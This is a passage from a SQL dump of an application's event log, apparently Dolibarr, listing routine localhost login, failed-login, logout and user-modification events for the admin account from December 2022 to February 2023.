Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1168,'2022-12-29 16:52:05','USER_LOGIN_FAILED',1,'2022-12-29 16:52:05',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1169,'2022-12-29 16:52:08','USER_LOGIN',1,'2022-12-29 16:52:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1170,'2022-12-30 12:00:49','USER_LOGIN_FAILED',1,'2022-12-30 09:00:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1171,'2022-12-30 12:00:51','USER_LOGIN',1,'2022-12-30 09:00:51',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1172,'2022-12-31 12:54:19','USER_LOGIN',1,'2022-12-31 09:54:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1173,'2022-12-31 13:14:54','USER_LOGOUT',1,'2022-12-31 10:14:54',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1174,'2022-12-31 13:14:59','USER_LOGIN_FAILED',1,'2022-12-31 10:14:59',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1175,'2022-12-31 13:15:02','USER_LOGIN',1,'2022-12-31 10:15:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1176,'2023-01-01 23:31:06','USER_LOGIN_FAILED',1,'2023-01-01 20:31:06',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1177,'2023-01-01 23:31:12','USER_LOGIN_FAILED',1,'2023-01-01 20:31:12',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1178,'2023-01-01 23:31:21','USER_LOGIN',1,'2023-01-01 20:31:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1179,'2023-01-02 15:30:40','USER_LOGIN',1,'2023-01-02 12:30:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x425','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1180,'2023-01-03 09:28:46','USER_LOGIN_FAILED',1,'2023-01-03 06:28:46',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1181,'2023-01-03 09:28:50','USER_LOGIN',1,'2023-01-03 06:28:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1232,'2023-01-04 11:20:46','USER_LOGIN_FAILED',1,'2023-01-04 08:20:46',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1233,'2023-01-04 13:03:52','USER_LOGIN_FAILED',1,'2023-01-04 10:03:52',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1234,'2023-01-04 13:03:55','USER_LOGIN',1,'2023-01-04 10:03:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1235,'2023-01-05 12:30:54','USER_LOGIN_FAILED',1,'2023-01-05 09:30:54',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1236,'2023-01-05 12:30:58','USER_LOGIN',1,'2023-01-05 09:30:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1237,'2023-01-06 11:27:47','USER_LOGIN_FAILED',1,'2023-01-06 08:27:47',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1238,'2023-01-06 11:27:50','USER_LOGIN_FAILED',1,'2023-01-06 08:27:50',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1239,'2023-01-06 11:27:55','USER_LOGIN_FAILED',1,'2023-01-06 08:27:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1240,'2023-01-06 11:28:02','USER_LOGIN',1,'2023-01-06 08:28:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1241,'2023-01-09 11:22:14','USER_LOGIN_FAILED',1,'2023-01-09 08:22:14',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1242,'2023-01-09 11:22:21','USER_LOGIN_FAILED',1,'2023-01-09 08:22:21',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1243,'2023-01-09 11:22:31','USER_LOGIN_FAILED',1,'2023-01-09 08:22:31',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1244,'2023-01-09 11:22:34','USER_LOGIN',1,'2023-01-09 08:22:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1245,'2023-01-10 15:52:36','USER_LOGIN_FAILED',1,'2023-01-10 12:52:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1246,'2023-01-10 15:52:41','USER_LOGIN',1,'2023-01-10 12:52:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1247,'2023-01-12 10:52:36','USER_LOGIN_FAILED',1,'2023-01-12 07:52:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1248,'2023-01-12 10:52:41','USER_LOGIN',1,'2023-01-12 07:52:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1249,'2023-01-13 11:32:50','USER_LOGIN_FAILED',1,'2023-01-13 08:32:50',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1250,'2023-01-13 11:32:53','USER_LOGIN',1,'2023-01-13 08:32:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x573','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1251,'2023-01-13 18:35:08','USER_LOGIN',1,'2023-01-13 15:35:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1252,'2023-01-14 01:12:58','USER_LOGIN',1,'2023-01-13 22:12:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1253,'2023-01-14 10:31:11','USER_LOGIN',1,'2023-01-14 07:31:11',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1254,'2023-01-14 10:46:33','USER_MODIFY',1,'2023-01-14 07:46:33',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1255,'2023-01-14 12:10:49','USER_LOGIN_FAILED',1,'2023-01-14 09:10:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1256,'2023-01-14 12:10:53','USER_LOGIN',1,'2023-01-14 09:10:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x528','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1257,'2023-01-15 10:25:26','USER_LOGIN_FAILED',1,'2023-01-15 07:25:26',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1258,'2023-01-15 10:25:30','USER_LOGIN',1,'2023-01-15 07:25:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1259,'2023-01-15 16:46:59','USER_LOGIN_FAILED',1,'2023-01-15 13:46:59',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1260,'2023-01-15 16:47:03','USER_LOGIN',1,'2023-01-15 13:47:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1261,'2023-01-16 19:41:44','USER_LOGIN_FAILED',1,'2023-01-16 16:41:44',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1262,'2023-01-16 19:41:47','USER_LOGIN',1,'2023-01-16 16:41:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1263,'2023-01-17 08:44:50','USER_LOGIN_FAILED',1,'2023-01-17 05:44:50',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1264,'2023-01-17 08:44:53','USER_LOGIN',1,'2023-01-17 05:44:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1265,'2023-01-18 10:53:10','USER_LOGIN_FAILED',1,'2023-01-18 07:53:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1266,'2023-01-18 10:53:13','USER_LOGIN',1,'2023-01-18 07:53:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1267,'2023-01-18 18:06:08','USER_LOGIN_FAILED',1,'2023-01-18 15:06:08',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1268,'2023-01-18 18:06:10','USER_LOGIN',1,'2023-01-18 15:06:10',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1269,'2023-01-19 12:19:54','USER_LOGIN_FAILED',1,'2023-01-19 09:19:54',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1270,'2023-01-19 12:19:57','USER_LOGIN',1,'2023-01-19 09:19:57',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1271,'2023-01-20 12:35:08','USER_LOGIN_FAILED',1,'2023-01-20 09:35:08',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1272,'2023-01-20 12:35:11','USER_LOGIN',1,'2023-01-20 09:35:11',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1273,'2023-01-24 09:57:07','USER_LOGIN_FAILED',1,'2023-01-24 06:57:07',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1274,'2023-01-24 09:57:11','USER_LOGIN',1,'2023-01-24 06:57:11',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1275,'2023-01-25 15:39:13','USER_LOGIN_FAILED',1,'2023-01-25 12:39:13',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1276,'2023-01-25 15:39:17','USER_LOGIN_FAILED',1,'2023-01-25 12:39:17',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1277,'2023-01-25 15:39:20','USER_LOGIN',1,'2023-01-25 12:39:20',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1278,'2023-01-26 09:45:55','USER_LOGIN_FAILED',1,'2023-01-26 06:45:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1279,'2023-01-26 09:46:01','USER_LOGIN_FAILED',1,'2023-01-26 06:46:01',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1280,'2023-01-26 09:46:04','USER_LOGIN_FAILED',1,'2023-01-26 06:46:04',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1281,'2023-01-30 01:31:20','USER_LOGIN_FAILED',1,'2023-01-29 22:31:20',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1282,'2023-01-30 01:31:24','USER_LOGIN',1,'2023-01-29 22:31:24',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1283,'2023-01-30 14:21:54','USER_LOGIN_FAILED',1,'2023-01-30 11:21:54',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1284,'2023-01-30 14:21:58','USER_LOGIN',1,'2023-01-30 11:21:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1285,'2023-01-30 18:13:04','USER_LOGOUT',1,'2023-01-30 15:13:04',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1286,'2023-01-30 18:13:10','USER_LOGIN_FAILED',1,'2023-01-30 15:13:10',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1287,'2023-01-30 18:13:13','USER_LOGIN_FAILED',1,'2023-01-30 15:13:13',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1288,'2023-01-30 18:13:19','USER_LOGIN',1,'2023-01-30 15:13:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1289,'2023-01-30 18:22:14','USER_LOGOUT',1,'2023-01-30 15:22:14',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1290,'2023-01-30 18:22:19','USER_LOGIN_FAILED',1,'2023-01-30 15:22:19',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1291,'2023-01-30 18:22:22','USER_LOGIN',1,'2023-01-30 15:22:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1292,'2023-01-30 18:23:07','USER_LOGOUT',1,'2023-01-30 15:23:07',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1293,'2023-01-31 04:12:51','USER_LOGIN_FAILED',1,'2023-01-31 01:12:51',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1294,'2023-01-31 04:12:56','USER_LOGIN',1,'2023-01-31 01:12:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1295,'2023-02-01 02:38:53','USER_LOGIN_FAILED',1,'2023-01-31 23:38:53',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1296,'2023-02-01 02:38:56','USER_LOGIN',1,'2023-01-31 23:38:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 